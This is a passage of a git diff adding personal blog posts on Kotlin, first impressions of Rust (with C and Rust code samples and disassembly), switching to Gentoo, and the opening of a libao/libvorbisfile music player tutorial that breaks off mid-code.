names that Kotlin associates with different operators tends to +draw parallels with the conventions of the Java standard library. In the case of +=get=, this means that you can use indexing notation on a =Map=. Pretty neat. + +There are a few other features that I think are worth mentioning, but don't +appear in the Minesweeper example. + +* Explicit type conversion + +Kotlin lacks implicit type coercion, which I think is a huge benefit in terms of +readability. While it isn't as much of an issue in Java, having to explicity +mark type conversion is an excellent way of avoiding issues with [[https://www.owasp.org/images/6/6b/PHPMagicTricks-TypeJuggling.pdf][type juggling]]. +Again, my opinions here have largely been shaped by my experience as a teaching +assistant. + +* Explicit nullability + +This is probably the crowning feature of Kotlin: a solution to "The Billion +Dollar Mistake" that is =null=. I'm actually not a fan of explicit nullability as +a solution, since I prefer the use of an =Option= type like in Rust.[fn:7] That +said, it does put the type system to work enforcing null safety at compile time, +and it is a lot more pleasant than dealing with =null= Java, so I'd call it a win. + +Basically, a variable can be =null= if its type is suffixed with a =?=. For +example, =Int?= can be =null=, but =Int= can't. An expression of type =Int?= +must be checked for =null= before it can be used, which can be done in a number +of ways. The most simple being to make use of another Kotlin feature: "smart +casts". + +#+BEGIN_SRC kotlin :hl_lines 0 +val myNum: Int? = null + +if (myNum != null) { + println("${myNum + 4}") // myNum has been casted from Int? to Int at this point. +} +#+END_SRC + +There are other ways, too. Kotlin has a null-coalescing operator, a "not null" +assertion, and so on. Explicit nullability is definitely a pain when starting +out, though. In Jouri Mamaev's [[https://kukuruku.co/post/why-kotlin-sucks/]["Why Kotlin Sucks"]], the following issue is +described as a "histerically-useless war with nullable." + +#+BEGIN_SRC kotlin :hl_lines 0 +var value : Int? = null + +fun F() : Int { + if (value != null) return 0 + return value // Compiler error: "Smart cast to 'Int' is impossible, because 'value' is a mutable property that could have been changed by this time" +} +#+END_SRC + +Mamaev goes on to show an example using the aforementioned "not null" assertion, +but the way I prefer to deal with this issue (other than not having variables +that are both nullable and mutable) is: + +#+BEGIN_SRC kotlin :hl_lines 0 +var value : Int? = null + +value?.let { + it.something() +} +#+END_SRC + +=let= will capture =value= and pass it to a lambda, allowing you to run some +code without having to worry about the value changing from under you. I have no +idea if this is idiomatic or not, but it works for me. + +Of course, Kotlin was meant to interoperate with existing Java code, which has +little notion of explicit nullability, so the benefits of explicit nullability +go out the window more often than not. + +* No more checked exceptions + +I'm sorry, but I really don't want to write about how much I hate checked +exceptions in Java. If you aren't familiar with them, but still want to know +what they are, I'd suggest looking for an article elsewhere. Otherwise, all you +need to know is that they aren't an issue in Kotlin. + +* == for value equality as opposed to reference equality + +This comes back to the operator overloading feature, ==== calls out to =equals=. +I do have a slight problem with this, though. ===== is used for reference +equality. I'm thankful that the operator exists, but this is completely +orthogonal to what Javascript does and I think that this might be a barrier for +anyone coming from there. Again, this is a slight problem; I think the gains in +clarity from using ==== for value equality outweigh the awkward ===== operator. + +--- + +Whew, listing all of the features that make Kotlin a better choice than Java is +exhausting. This is one of the complaints that I have about the language: it's +massive in scope. Of course, this is a consequence of Java having an absurd +number of warts that Kotlin tries to mend, but learning the ins and outs of +Kotlin is a significant undertaking. This is a _shortened_ list of the features +I enjoyed but didn't mention in this post: + +- Lambdas having access to variables that are not final. +- Classes and methods being final by default. +- Inner classes being static by default. +- Properties (declaring 'get' and 'set'). +- Unpacking. +- Spreading. +- Collection literals. +- Common I/O functions such as =println= being included in the prelude. +- Top-level visibility. +- Module visibility. +- Named imports. +- Infix functions. +- Nested functions. +- Decorator classes with =by=. +- Anonymous objects being able to implement multiple interfaces. +- Immutable collections. +- Lazy evaluation. +- =with= and =apply= expressions. +- Safe type casting. +- Lazy member initialization. +- Function inlining. +- Support for DSL creation. +- ... + +I could seriously just go on for days. There's /a lot/ to keep in your head all +at once. + +Other than the huge scope, there are few things I'd say I dislike about Kotlin. +Sure, there are things I wish it had, like Rust-styled variable shadowing, but +nothing drives me up the wall or anything. =kotlin-mode= feels like it was put +together in a few hours and compilation times are miserable, but other than +that, Kotlin is a solid language. + +Also, I'll forgo talking about the community and the ecosystem. It's just +completely transparent to me right now. From what I /can/ gather, it seems to be +pretty corporate ([[https://kotlin.link/][kotlin.link]] links to a Linkedin group, Google+, Slack...), +which might be because of its use case in Android development, but whatever. + +To conclude, Kotlin's alright. It isn't a miracle of language design, but it's +designed in a way that makes it easy to map onto the JVM. In that sense, it's +pragmatic. I'm not /excited/ about it, but it's levels beyond Java in terms of +how tolerable it is, so I'll take it. Well, for Android development, at least. +For projects where I'm not wrestling with a Java-based platform, I'll use +something more fun. To me, Rust is like Marshmallow Froot Loops, and Kotlin is +like Cheerios.[fn:8] + +I'd also like to take a minute to thank everyone who's given feedback on the +previous post. I really appreciate all the suggestions! I've put Ada and Pony on +my list of languages to cover in the future, and hopefully I'll be able to make +some progress on shrinking that list now that I'm done with the semester and +finally have some free time. + +[fn:1] Source: [[https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=Java+Runtime+Environment][Common Vulnerabilities and Exposures, MITRE]] + +[fn:2] Well, that statement is only partially true. [[https://en.wikipedia.org/wiki/Jazelle][ARM processors can execute JVM bytecode in hardware]], and I would not be surprised if there are other chips out there with similar capabilities. + +[fn:3] Not that it would help me at all in reversing Doom RPG, I was just curious about bytecode. + +[fn:4] I would typically consider Minesweeper to be somewhat trivial, but implementing it for Android was not an easy task. + +[fn:5] I do think that assignment as an expression can occasionally afford some clarity, especially in the way of C, but in my time as a teaching assistant, I can say that I have seen its usage be erroneous more often than clever. + +[fn:6] In case it is unclear from the code, lambdas can be passed to functions sans parentheses. This is just syntactic sugar. + +[fn:7] Java 8 actually has an =Optional= type, but people seem to dislike it. Wonder why... + +[fn:8] This [[https://en.wikipedia.org/wiki/Metacity#Aim][analogy]] is painfully overused, but it just can't be beat. diff --git a/posts/First Impressions of the Rust Programming Language/first-impressions-of-the-rust-programming-language.org b/posts/First Impressions of the Rust Programming Language/first-impressions-of-the-rust-programming-language.org new file mode 100644 index 0000000..dd57549 --- /dev/null +++ b/posts/First Impressions of the Rust Programming Language/first-impressions-of-the-rust-programming-language.org @@ -0,0 +1,445 @@ +#+TITLE: First Impressions of the Rust Programming Language +#+DATE: <2018-06-08 Fri> +#+TAGS: opinion, programming, rust + +C is almost 50 years old, and C++ is almost 40 years old. While age is usually +indicative of mature implementations with decades of optimization under their +belts, it also means that the language's feature set is mostly devoid of modern +advancements in programming language design. For that reason, you see a great +deal of encouragement nowadays to move to newer languages - they're designed +with contemporary platforms in mind, rather than working within the limitations +of platforms like the PDP-11. Among said "new languages" are Zig, Myrddin, Go, +Nim, D, Rust... even languages like Java and Elixir that run on a virtual +machine are occasionally suggested as alternatives to the AOT-compiled C and +C++. + +I have plans to look into the characteristics that distinguish each and every +one of these new programming languages, learning them and documenting my first +impressions in the form of blog posts. This post is the beginning of that +adventure: my first impressions of Rust. I chose to evaluate Rust first rather +than one of the other aforementioned contenders for a few reasons. For one, it's +backed by some big names like Mozilla, so I'm expecting it to have more polished +documentation than its independently developed counterparts - we might as well +step off with a language that I can learn without needing to read the compiler's +source code. Also, I've been fairly critical of Rust in the past because that +view was in-line with the opinions of my friends, but now that I've decided to +go out of my way to learn a new programming language, I might as well use this +as an opportunity to see if my criticisms were unfounded. + +Learning these new programming languages is certainly going to be an +undertaking. Because Python and C were the first languages I was introduced to, +I was able to simply buckle down, learn them, and apply them to pretty much +everything I was doing at the time. When I tried to learn other languages later +on, though, I had a hard time gauging whether or not I was making progress. I +think that this is because I wasn't engaged with what I was learning; I was, at +most, writing trivial programs with the language I was learning, and defaulting +to C or Python whenever I needed to work on a "real" project. My goal is to +learn these new languages to the extent that I can meaningfully evaluate them, +so I've looked back on my past attempts and come to the conclusion that I either +need to use them to develop something nontrivial, or make contributions to a +free software project written in the language, as suggested by [[https://hackernoon.com/unconventional-way-of-learning-a-new-programming-language-e4d1f600342c][several]] [[https://codewithoutrules.com/2017/09/09/learn-a-new-programming-language/][articles]]. +In the case of this post, it will be the former, as I've actually come to like +Rust enough to use it for my [[https://github.com/TsarFox/rebuild][reimplementation of Ken Silverman's BUILD engine]]. + +With my introduction for this series out of the way, we can get into my first +impressions of Rust. The first step was diving into the documentation to learn +it, so I guess it would make sense to begin with that. Simply put, there is no +shortage of high-quality learning material for Rust. [[https://doc.rust-lang.org/book/second-edition/index.html]["The Rust Programming +Language,"]] the equivalent of TCPL for Rust, is surprisingly well-written. Even +if you're familiar with a systems programming language like C, I would still +recommend reading it cover-to-cover. I had initially started off with the "Rust +for C++ Programmers" and the "Learn X in Y Minutes" tutorial for Rust, but until +I read TRPL, there was a lot that didn't make sense, and I was completely lost +when it came to using the standard library. The book is friendly, encouraging, +and full of great examples that outline common patterns in the standard library +and various third party crates. My only real complaint with TRPL is that some of +the the analogies step foot into the territory of [[https://www.hillelwayne.com/post/monad-tutorials/][monad tutorials]]. Some +exceptional examples are comparing a [[https://doc.rust-lang.org/book/second-edition/ch15-04-rc.html][reference-counting pointer to the TV in a +family room]], or comparing [[https://doc.rust-lang.org/book/second-edition/ch04-01-what-is-ownership.html][references to tables at a restaurant]]. They aren't all +bad, and there are a few that I actually really enjoy, like the comparison of +[[https://doc.rust-lang.org/book/second-edition/ch16-02-message-passing.html][message passing concurrency to a river]], but most of them try too hard to relate +the concept to something in the real world that it ends up being unhelpful. +Fortunately, the book is on GitHub and accepts pull requests, so I have plans to +send in suggestions for some alternatives. + +Despite the presence of great documentation, I predict that most people are +still going to have a hard time learning Rust. It brings some concepts that you +probably haven't seen before. As far as I'm aware, this is the first programming +language to offer compile-time memory management. (C++ has smart pointers which +are definitely similar, but those rules are enforced at runtime. Rust tightly +integrates its concepts of ownership and lifetimes into the compiler.) TRPL does +a good job of introducing the concepts for compile-time memory management, but I +feel that that it only really scratches the surface. For that reason, I'd like +to point anyone learning Rust to a great supplementary resource on the +memory-model: [[http://cglab.ca/~abeinges/blah/too-many-lists/book/]["Learning Rust With Entirely Too Many Linked Lists"]]. It's +hands-on, and just about as approachable as TRPL. [[http://softwaremaniacs.org/blog/2016/02/12/ownership-borrowing-hard/en/][This post]] might also help if +you're having trouble grasping the general concept. + +That brings me to another point - the features that Rust brings to the table +might be difficult to learn, but learning to use them pays off in the end. +Compile-time memory management requires designing your programs in a way you +might not be used to, but it definitely beats manual memory management, or +letting a runtime take care of garbage collection. + +C's memory model, for example, is manually managed. Heap allocations are +performed via =malloc(3)= and =calloc(3)=, and those allocations exist until +=free(3)= is called. Take this trivial piece of code for making a heap +allocation containing a string: + +#+BEGIN_SRC c :hl_lines 0 +#include <stdio.h> +#include <stdlib.h> +#include <string.h> + +int main(int argc, char **argv) { + char *buf; + + // Make a heap allocation of 14 bytes. + buf = calloc(14, 1); + + // calloc(3) CAN return a null pointer. + if (buf == NULL) { + return 1; + } + + // Fill the allocated buffer with a string, and print it. + strcpy(buf, "Hello, world!"); + puts(buf); + + // Free the heap allocation, since we're done with it. + // This won't always be at the end of the function, but it usually will be. + free(buf); + + return 0; +} +#+END_SRC + +This model requires keeping track of the allocations you make and ensuring that +they're freed when they aren't needed anymore - we easily could've forgotten +that call to =free(3)=. In this really trivial example, it doesn't matter +because the process exits and the operating system reclaims the heap page, but +if the program kept running after printing that string, we'd be dealing with a +memory leak. Anyway, C's manual memory management is explicit enough that you +can more or less predict what this will compile down to. GCC 6.4.0 emits +following amd64 code: + +#+BEGIN_SRC asm :hl_lines 0 + # Prelude. +55 pushq %rbp +4889e5 movq %rsp, %rbp +4883ec20 subq $0x20, %rsp +897dec movl %edi, -0x14(%rbp) +488975e0 movq %rsi, -0x20(%rbp) + + # calloc(14, 1), store pointer on the stack. +be01000000 movl $1, %esi +bf0e000000 movl $0xe, %edi +e892feffff callq sym.imp.calloc +488945f8 movq %rax, -8(%rbp) + + # Check for null pointer. +48837df800 cmpq $0, -8(%rbp) +7507 jne 0x750 +b801000000 movl $1, %eax +eb3b jmp 0x78b + + # (Really optimized) call to strcpy. +488b45f8 movq -8(%rbp), %rax +48ba48656c6c. movabsq $0x77202c6f6c6c6548, %rdx +488910 movq %rdx, 0(%rax) +c740086f726c. movl $0x646c726f, 8(%rax) +66c7400c2100 movw $0x21, 0xc(%rax) + + # puts(buf) +488b45f8 movq -8(%rbp), %rax +4889c7 movq %rax, %rdi +e846feffff callq sym.imp.puts + + # free(buf) +488b45f8 movq -8(%rbp), %rax +4889c7 movq %rax, %rdi +e82afeffff callq sym.imp.free + + # Teardown. +b800000000 movl $0, %eax +c9 leave +c3 retq +0f1f00 nopl 0(%rax) +#+END_SRC + +The equivalent in Rust is similar, but as you'll see, we don't need to +explicitly free the heap allocation. + +#+BEGIN_SRC rust :hl_lines 0 +use std::io; +use std::io::Write; + +fn main() { + let buf = Box::new(b"Hello, world!\n"); + io::stdout().write(*buf); +} +#+END_SRC + +rustc 1.25 compiles this down into the following amd64 code[fn:1]: + +#+BEGIN_SRC asm :hl_lines 0 + # Prelude. +4883ec48 subq $0x48, %rsp + + # Heap allocation, made by the 'std::boxed::Box' smart pointer. +b808000000 movl $8, %eax +89c1 movl %eax, %ecx +4889cf movq %rcx, %rdi +4889ce movq %rcx, %rsi +e8caedffff callq sym.alloc::heap::exchange_malloc::h42fa40019bea1ed3 + + # We actually end up storing a reference to the bytestring, rather than copying the individual bytes into the box. + # Regardless, I think this should still illustrate heap allocation fairly well, and I'm trying to keep the example somewhat simple so we'll roll with it. +488d0de3e705. leaq str.Hello__world, %rcx +4889c6 movq %rax, %rsi +488908 movq %rcx, 0(%rax) +4889742410 movq %rsi, 0x10(%rsp) + + # Get the handle to stdout. +e855590000 callq sym.std::io::stdio::stdout::h537f6f9874379378 +4889442408 movq %rax, 8(%rsp) +488b442408 movq 8(%rsp), %rax +4889442430 movq %rax, 0x30(%rsp) + + # stdout.write(*buf); +488b4c2410 movq 0x10(%rsp), %rcx +488b11 movq 0(%rcx), %rdx +be0e000000 movl $0xe, %esi +89f1 movl %esi, %ecx +488d7c2418 leaq 0x18(%rsp), %rdi +488d742430 leaq 0x30(%rsp), %rsi +e8965a0000 callq sym._std::io::stdio::Stdout_as_std::io::Write_::write::h12094683b11bc5a8 + + # Free the 'std::io::Result' that's returned by 'write'. + # We didn't check its, which is considered bad form, but this is just a simple example. +488d7c2418 leaq 0x18(%rsp), %rdi +e8fef4ffff callq sym.core::ptr::drop_in_place::h72bdea260ebb17c9 + + # Free the stdout handle. +488d7c2430 leaq 0x30(%rsp), %rdi +e8a6f4ffff callq sym.core::ptr::drop_in_place::h55479d5b85e18c56 + + # Finally, free the heap allocation we made. +488d7c2410 leaq 0x10(%rsp), %rdi +e8faf5ffff callq sym.core::ptr::drop_in_place::ha5ac9a364139ad29 + + # Teardown. +4883c448 addq $0x48, %rsp +c3 retq +#+END_SRC + +Besides needing to allocate a handle to interact with stdout, rustc's emitted +assembly does pretty much the same thing as that of GCC - allocate a buffer, +fill it, then free it when we're done using it. Rust just façades this process +with a friendlier abstraction. + +Another feature I've come to really enjoy is that there are no more NULL +pointers - they've been replaced by a strict type system à la Haskell. In the C +example above, we saw that =calloc(3)= can return =NULL= if glibc isn't able to +allocate enough memory. We easily could've forgotten to put in the check to make +sure the it isn't =NULL=, in which case we would get a segmentation fault. +Preventing this sort of thing is what people are talking about when they say +"memory safety." For a segmentation fault, the operating system has to jump in +because we're doing something we shouldn't - dereferencing a =NULL= pointer. +There are plenty of other naughty things we can do in C, like freeing a heap +allocation twice, or even worse, writing outside the bounds of a buffer. Rust +aims to have the compiler step in when we do something dumb, rather than leaving +that to the operating system or exploit mitigation systems. To do this for +=NULL=-able references, Rust provides an =Option= type (and the =Result= type) +that can represent either something or nothing. You see it used extensively in +the standard library. Consider the =find= method of =std::string::String=, a +method for finding the index of a substring in a string. There's the possibility +that the substring exists in the string, in which case we'd just return that +index, but what if it doesn't exist? In the case of C, we might return some +silly value like '-1', but in Rust, we return an =Option<usize>= - either some +=usize= value, or nothing. And the compiler makes sure we understand the +implications of this. + +#+BEGIN_SRC rust :hl_lines 0 +fn main() { + let to_search = String::from("I may contain foo."); + let index = to_search.find("foo"); + println!("index - 5: {}", index - 5); +} +#+END_SRC + +This is a pretty inane example, but please bear with me. If we try to compile +this, rustc errors out, because we're trying to treat a variable that might +represent nothing as if it were guaranteed to be something. + +#+BEGIN_SRC +error[E0369]: binary operation `-` cannot be applied to type `std::option::Option<usize>` + --> test.rs:4:31 + | + 4 | println!("index - 5: {}", index - 5); + | ^^^^^^^^^ + | + = note: an implementation of `std::ops::Sub` might be missing for `std::option::Option<usize>` +#+END_SRC + +This would be fixed by inspecting the Option, ensuring that it *is* something, +rather than nothing. It's an algebraic data type, so we can destructure it and +work with the index if =find= returned something. + +#+BEGIN_SRC rust :hl_lines 0 +fn main() { + let to_search = String::from("I may contain foo."); + if let Some(index) = to_search.find("foo") { + println!("index - 5: {}", index - 5); + } +} +#+END_SRC + +=if let= is a syntax construct that I don't think any other language has, so I +should probably give a brief explanation. That =if= block will run if and only +if =find= returned an instance of =Option= that was =Some=, rather than =None=. +If an instance of =Some= is returned, it contains our index, so we can +destructure it and set that value to the variable, =index=, which we go on to +use. + +You might expect this strictness to bring frustration, but the compiler emits +errors worded simply enough that a layman could understand them, and often makes +suggestions for fixing the code in question. The above isn't a great example, +here's a better one: + +#+BEGIN_SRC rust :hl_lines 0 +fn tabulate_slice(slice: &[u8]) { + for elem in slice.iter() { + println!("{}", elem); + } +} + +fn main() { + let vec = vec![1, 2, 3]; + tabulate_slice(vec); +} +#+END_SRC + +#+BEGIN_SRC +error[E0308]: mismatched types + --> test.rs:9:20 + | + 9 | tabulate_slice(vec); + | ^^^ + | | + | expected &[u8], found struct `std::vec::Vec` + | help: consider borrowing here: `&vec` +#+END_SRC + +Rust has a great deal of functionality that makes it feel like your typical +high-level Ruby or Python, despite being a compiled language. And it isn't +limited to what I described above - here are a few of the other features I +was really impressed with: + +* Conditionals are Expressions + +#+BEGIN_SRC rust :hl_lines 0 +let var = if true { + 1 +} else { + 2 +}; +#+END_SRC + +* No parentheses for the expression part of if/while/for + +Heh, I bet you've seen enough of that already. + +* Semantics for Infinite Loops + +#+BEGIN_SRC rust :hl_lines 0 +loop { + break; +} +#+END_SRC + +* Semantics for Unused Variables/Parameters + +#+BEGIN_SRC rust :hl_lines 0 +for _ in 0..5 { + println!("I'm printed 5 times!"); +} +#+END_SRC + +* Range Notation, Type Inference, and Iterators + +Again, you've seen these already. + +* Tuples, Destructuring, and Pattern Matching via =match= and =if let= Expressions + +#+BEGIN_SRC rust :hl_lines 0 +match to_search.find("foo") { + Some(index) => println!("Foo at {}", index), + None => println!("No foo :("), +} + +// Or, more idiomatically: + +if let Some(index) = to_search.find("foo") { + println!("Foo at {}", index); +} else { + println!("No foo :("); +} +#+END_SRC + +* Automated Testing is Integrated Into the Build System + +#+BEGIN_SRC rust :hl_lines 0 +#[cfg(test)] +mod tests { + #[test] + fn it_works() { + assert_eq!(2 + 2, 4); + } +} +#+END_SRC + +This will be run upon invocation of =cargo test=. + +* Isolation of Unsafe Code + +There's a set of [[https://doc.rust-lang.org/book/second-edition/ch19-01-unsafe-rust.html][rules]] to ensure that the implications of working with unsafe +code are properly contained, but the gist of it is that unsafe code is isolated +by the scoping system. Mostly, I'm glad that the language allows you to work +with unsafe code at all. + +#+BEGIN_SRC rust :hl_lines 0 +fn main() { + unsafe { + asm!("INT3"); + } +} +#+END_SRC + +--- + +That's my opinion on the language design aspect, but the community and ecosystem +are important as well. My experience with the Rust community is limited, but +from what little I have seen, those in the community are friendly and rational. +I submitted [[https://github.com/mattnenterprise/rust-imap/issues/67][a few issues to rust-imap]] and received prompt and helpful responses. +I can also confidently say that the Rust ecosystem a pleasure to work with. It +obviously isn't as mature as some other language ecosystems, but adding a +"crate" dependency to your projects is as easy as adding a line to your +'Cargo.toml'. It's equally easy to publish the code and documentation for crates +you've made yourself. I threw together [[https://github.com/TsarFox/wildmidi][a library for interacting with WildMIDI]], +and a [[https://docs.rs/][docs.rs]] page popped up without any intervention from me. Painless. + +The process of linking those crates into the executable is relatively primitive, +and there are a few complaints in that respect. It's mostly static linking, so +the argument is "you get outdated copies of several libraries on your computer." +However, the benefits of dynamic linking as the alternative is a [[http://harmful.cat-v.org/software/dynamic-linking/][debate I don't +want to get into in this post]]. Right now I'll leave it as, "it's not an option +in the current implementation, and that's a disadvantage," even if I'm +blissfully ignorant of the size of my Rust binaries and /might/ have some +complaints about dynamic linking. + +All in all, I'm very happy with Rust. Maybe it isn't "there" yet as a viable +replacement to C, but it's promising and I have a feeling that, with time, it +will fit nicely into GNU/Linux ecosystem. + +[fn:1] A previous version of this post included *all* of the assembly emitted by the compiler, but in this revision, I've chosen to remove Rust's error/panic handling code because I believe that it actually detracts from the concept I'm trying to show. diff --git a/posts/Installing Gentoo: One Month Later/installing-gentoo-one-month-later.org b/posts/Installing Gentoo: One Month Later/installing-gentoo-one-month-later.org new file mode 100644 index 0000000..7473a7a --- /dev/null +++ b/posts/Installing Gentoo: One Month Later/installing-gentoo-one-month-later.org @@ -0,0 +1,124 @@ +#+TITLE: Installing Gentoo: One Month Later +#+DATE: <2018-05-28 Mon> +#+TAGS: opinion, linux, gentoo + +It seems that the general consensus on "distro hopping," the act of constantly +switching between distributions of GNU/Linux, is that it's a bad habit that +should be consciously avoided. If you do a search for the term, you'll get +articles with titles along the lines of "How I Stopped Distro Hopping." But it's +also a term that gets thrown around loosely, and I think that that "distro +hopping" is an acceptable practice in a lot of the contexts where the phrase is +used. Needless to say, I've "hopped" distributions in the past month, and this +blog post is going to describe the highs and lows of that experience. + +My experiences with GNU/Linux began when I installed openSUSE about four years +ago. I chose it over something more conventional like Ubuntu for its integration +with KDE Plasma 4 (I'm aware that I suffered from bad taste at the time). I +stuck with that until I decided to try Fedora for no particular reason, which +was short-lived. I later switched to Arch Linux to fit in with the cool kids, +and that became my daily driver for a little over two years. Recently, however, +I've switched to Gentoo, because I've wanted to try GNU/Linux without systemd +and friends. Many conversations with people over IRC convinced me that the +maintenance model of those packages is [[https://github.com/systemd/systemd/issues/6237][concerning, to say the least]], and that +it's preferable if the operations-critical parts of my operating system aren't +ridden with CVE's. Gutting Arch of the beasts within is possible, but seriously +complicates everything, so I decided that the best course of action was to just +throw the baby out with the bathwater and use this as an opportunity to +experiment with something I'd been meaning to try. + +Gentoo has been on my radar ever since I installed Arch, as I had several +friends who loved to talk about the merits of a source-based distribution. My +original plan was to wait until I had a machine I could comfortably experiment +with, separate from my workstation or laptop, but since I was hopping distros +anyway, I decided to just go ahead and get my hands dirty. Of course, I didn't +go into the whole migration process without concerns. For one, I want to cleanse +/all/ of machines of systemd. That includes the Raspberry Pi I use as a home +server, and I don't think it's powerful enough to be compiling everything from +source. I opted to install Alpine on that instead. The other problem was that my +laptop's only storage device was an SSD, which I didn't want to subject to +excessive writes. Fortunately the solution to that was straightforward: I was +able to mount =/var/tmp/portage'=as tmpfs so that all the object files generated +while compiling got dumped to an in-memory filesystem instead of the disk. + +After making sure that everything I needed to do was possible on the new setup, +I went ahead and installed it on both my workstation and laptop. The canonical +reference for installing Gentoo, dubbed "the handbook," is incredibly +well-written, so the installation process was painless. I think the quality of +documentation is a big benefit that Gentoo has over Arch; everyone praises the +Arch wiki, but I find that the Gentoo documentation is far more informative and +much more consistent. Setting it up past the initial installation really wasn't +difficult either - I had X11 running the same night. + +I also used this as an opportunity to try out some new software. On Arch, I was +using i3 and rxvt-unicode, but now I'm on dwm and st and I'm really enjoying +both of them. These programs are configured at compile-time, which would've made +using them on Arch a bit unwieldy, but Gentoo's package manager makes the whole +process trivial. I just throw any patches I want in =/etc/portage/patches=, edit +the =config.h= files in =/etc/portage/savedconfig=, and emerge the package. + +Gentoo's package manager is by far the best I've used in my four years of +running GNU/Linux. Being able to interface with it through a couple of files in +=/etc= is a great interface. It also brings USE flags, which is probably the +poster child of Gentoo's features. If you're not familiar with USE flags, they +allow you to enable or disable certain features at compile-time. As an example, +say I want to play some Goldeneye on my Nintendo 64 and use my computer as a +monitor. I have a cheap USB capture card with a kernel driver exposing the +Video4Linux API. I'll need some sort of video player to put the stream on my +monitor, but that video player is going to need to come with support for said +Video4Linux API. I'm what you might call a special case - most GNU/Linux users +don't have capture cards, so that feature isn't important to them. If it isn't +important to them, why should they have to waste disk space housing all the code +and dependencies for it? This is where conditional-compilation comes in. During +the process of turning source code into executable binaries, certain features +can be turned on or off. In a binary distribution like Arch Linux, the package +maintainers need to make an executive decision about which features should be +enabled, because they're making a binary for /everyone/. And, last I checked, +they decided that V4L support wasn't important enough for them to enable it. +Bummer. If you want that feature, you'll need to compile it yourself. And if a +package has features you don't care about, bummer. You have to either deal with +all the dependencies that those features bring in, or compile it yourself. + +USE flags makes this a lot easier by integrating conditional compilation options +into the package manager, rather than forcing you to wrangle with the configure +script of whatever build system the software uses. For example, I can compile +mpv with support for V4L simply by enabling the 'v4l' USE flag. The nice thing +about this is that all packages supporting V4L recognize this same USE flag, and +I can enable it globally - compiling V4L support into everything on my system +without putting much thought into it. And if I just want it for mpv instead of +everything on my system, I'm also able to enable it for just certain packages. + +This freedom does come with the downsides of, well, having to compile everything +from source. Compiling software takes time and processing power, and trying to +optimize the process has caused me some headaches. In Gentoo, you'll want to +pick a decent value for =--jobs= in =make.conf= so that compilation is fast. +=--jobs=, or =-j= is a signal to the build system that it can run some number of +tasks in parallel. I started out with =-j8= on my laptop, since it has 8 cores. +This worked great for smaller packages, but when I tried to emerge Firefox, my +machine gave up half-way through. It was still running. I could ~Ctrl+Z~ from +=emerge= and use it, but the compilation process had hanged and my only option +was to restart it, to which it would hang at another point in the compilation +process. I tried it again with =-j4= and it was able to compile without any +trouble, it just took much longer. I had a similar issue on my workstation - it +has a quad-core processor so I was using =-j4=, but I was regularly getting +segmentation faults while emerging large packages such as LLVM (apparently a +hardware issue that I need to look into), so I lowered it to =-j2=. Of course, +looking back on it now, [[https://blogs.gentoo.org/ago/2013/01/14/makeopts-jcore-1-is-not-the-best-optimization/][the number of cores your machine has isn't a good value +for '-j' anyway.]] + +Another great thing about Portage is the API for making your own packages. It's +shell scripts, so it's similar to how you'd go about making a package on Arch, +but I find the API feels like a massive hack. For one, [[https://devmanual.gentoo.org/][the documentation]], again, +towers over that of Arch, but it also brings something reminiscent of a standard +library: eclasses, which enable you to abstract the commonality between packages +using the same build system. Also, instead of having just one big AUR, +unofficially maintained packages are distributed in user-managed "overlays." I'd +think that pacman can probably do something similar, but you almost never see it +in practice. + +All in all, I'm very happy with the level of customization and freedom that +Gentoo offers me, and I haven't missed systemd one bit. OpenRC, ALSA, and +wpa_supplicant are all I need. Going forward, I'm hoping to become more involved +in the Gentoo community - becoming active on the forums and IRC, and hosting an +overlay for the handful of ebuilds I've made. The Gentoo community seems much +more tightly-knit than the Arch community, and I'm looking forward to meeting +some new friends. diff --git a/posts/Making Your Own Music Player: A Gentle Introduction to Audio Programming/analog-vs-digital.png b/posts/Making Your Own Music Player: A Gentle Introduction to Audio Programming/analog-vs-digital.png Binary files differnew file mode 100644 index 0000000..6841598 --- /dev/null +++ b/posts/Making Your Own Music Player: A Gentle Introduction to Audio Programming/analog-vs-digital.png diff --git a/posts/Making Your Own Music Player: A Gentle Introduction to Audio Programming/making-your-own-music-player.org b/posts/Making Your Own Music Player: A Gentle Introduction to Audio Programming/making-your-own-music-player.org new file mode 100644 index 0000000..0d325b5 --- /dev/null +++ b/posts/Making Your Own Music Player: A Gentle Introduction to Audio Programming/making-your-own-music-player.org @@ -0,0 +1,217 @@ +#+TITLE: Making Your Own Music Player: A Gentle Introduction to Audio Programming +#+DATE: <2017-07-15 Sat> +#+TAGS: tutorial, programming, audio, c +#+HAUNT_BASE_DIR: /home/jakob/Blog-New/haunt/ + +To start off, I'd like to say that I know very little about audio programming +and digital audio in general. I've never formally studied signal processing, +and hell, I haven't even started high school physics yet. This post merely +documents what I've learned while trying to get sound working in my game, +because there aren't really any other learning resources about this out there. + +In this tutorial, we'll write a basic music player for Ogg Vorbis in C using +two awesome libraries from Xiph.Org. The first, libao, will provide us with a +means to play sound through our speakers, or headphones. or whatever, and we'll +use libvorbisfile to decode the Ogg Vorbis files. + +libao, like most other audio libraries, works by giving us a *PCM buffer* that +we write sound data to, and that gets played back. *PCM* stands for Pulse-Code +Modulation, and it's the basis of digital audio programming. You might have +heard people talk about how analog audio is so much better than digital, and I +think that learning the difference between the two helps to better understand +digial audio. Historically, sound was recorded in terms of analog signals, +which were easy to store as something like field strength on a magnetic medium. +However, digitizing audio requires the signal to be either sampled or +quantized. Both techniques are fairly similar, basically getting an +instantaneous representation of the signal some number of times a second. The +image below does a good job of explaining it, I think. + +#+CAPTION: Diagram showing the difference between an analog sine wave and a quantization of that wave. +[[./analog-vs-digital.png]] + +The rate at which the signal is sampled or quantized is the *frequency*. 44.1 +kHz is typically the standard - meanining that 441,000 samples are taken every +second. The number of *channels* is essentially how many speakers the sound is +meant for. Stereo sound is the standard, so that is typically 2. And finally, +the audio can be 8, 16, 24, or 32 bit, representing the size of the integer +used to represent the sample. + +Before we get into the code; you might need to configure libao if you're using +PulseAudio. Just open it up in your favorite editor and change it as shown +below. + +#+BEGIN_SRC +$ sudo $EDITOR /etc/libao.conf +# Change from +default_driver=alsa +dev=default +# To +default_driver=pulse +# Make sure to remove the dev=default line +#+END_SRC + +Now we're ready to get into the code. We'll include the headers for libao and +libvorbisfile, as well as some standard library headers and the size of the PCM +buffer, which I'll explain soon. + +#+BEGIN_SRC c :hl_lines 0 +#include <stdio.h> +#include <stdlib.h> + +#include <ao/ao.h> +#include <vorbis/vorbisfile.h> + +#define BUF_SIZE 256 +#+END_SRC + +The program is actually simple enough that we can do everything in main. For +clarity, I'll be using C99 variable declaration. Our program will take the file +to play as a command-line argument, so the first thing we need to do is check +argc. + +#+BEGIN_SRC c :hl_lines 0 +if (argc != 2) { + 